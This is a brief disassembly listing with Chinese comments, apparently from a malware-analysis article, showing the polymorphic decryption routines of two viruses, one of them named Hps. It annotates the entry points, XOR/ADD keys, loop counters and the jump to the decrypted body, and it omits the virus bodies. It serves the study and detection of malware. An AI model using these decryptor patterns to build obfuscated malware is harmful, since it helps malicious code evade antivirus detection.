00401020: movsx edi,si ;病毒入口
00401023: movsx edx,bp
00401026: jmp 00408a99
......
00407400: ;病毒体入口
加密的病毒主体
00408a94: ;解密指针初始值
......
00408a99: mov dl,f7
00408a9b: movsx edx,bx
00408a9e: mov ecx,cf4b9b4f
00408aa3: call 00408ac4
......
00408ac4: pop ebx
00408ac5: jmp 00408ade
......
00408ade: mov cx,di
00408ae1: add ebx,9fdbd22d
00408ae7: jmp 00408b08
......
00408b08: add ecx,80c1fbc1
00408b0e: mov ebp,7fcdeff3 ;循环解密记数器初值
00408b13: sub cl,39
00408b16: movsx esi,si
00408b19: add dword ptr[ebx+60242dbf],9ef42073 ;解密语句,9ef42073是密钥
00408b23: mov edx,6fd1d4cf
00408b28: mov di,dx
00408b2b: inc ebp
00408b2c: xor dl,a3
00408b2f: mov cx,si
00408b32: sub ebx,00000004 ;移动解密偏移指针,逆向解密
00408b38: mov ecx,86425df9
00408b3d: cmp ebp,7fcdf599 ;判断解密结束与否
00408b43: jnz 00408b16
00408b49: jmp 00408b62
......
00408b62: mov di,bp
00408b65: jmp 00407400 ;将控制权交给解密后的病毒体入口
著名多形病毒Hps的变形解密子:
005365b8: ;解密指针初始值和病毒体入口
加密的病毒主体
......
005379cd: call 005379e2
......
005379e2: pop ebx
005379e3: sub ebx,0000141a ;设置解密指针初值
005379e9: ret
......
005379f0: dec edx ;减少循环记数值
005379f1: ret
......
00537a00: xor dword ptr[ebx],10e7ed59 ;解密语句,10e7ed59是密钥
00537a06: ret
......
00537a1a: sub ebx,ffffffff
00537a20: sub ebx,fffffffd ;移动解密指针,正向解密
00537a26: ret
......
00537a30: mov edx,74d9cb97 ;设置循环记数初值
00537a35: ret
......
00537a3f: call 005379cd ;病毒入口
00537a44: call 00537a30
00537a49: call 00537a00
00537a4e: call 00537a1a
00537a53: call 005379f0
00537a58: mov esi,edx
00537a5a: cmp esi,74d9c696 ;判断解密结束与否
00537a60: jnz 00537a49
00537a66: jmp 005365b8 ;将控制权交给解密后的病毒体入口
|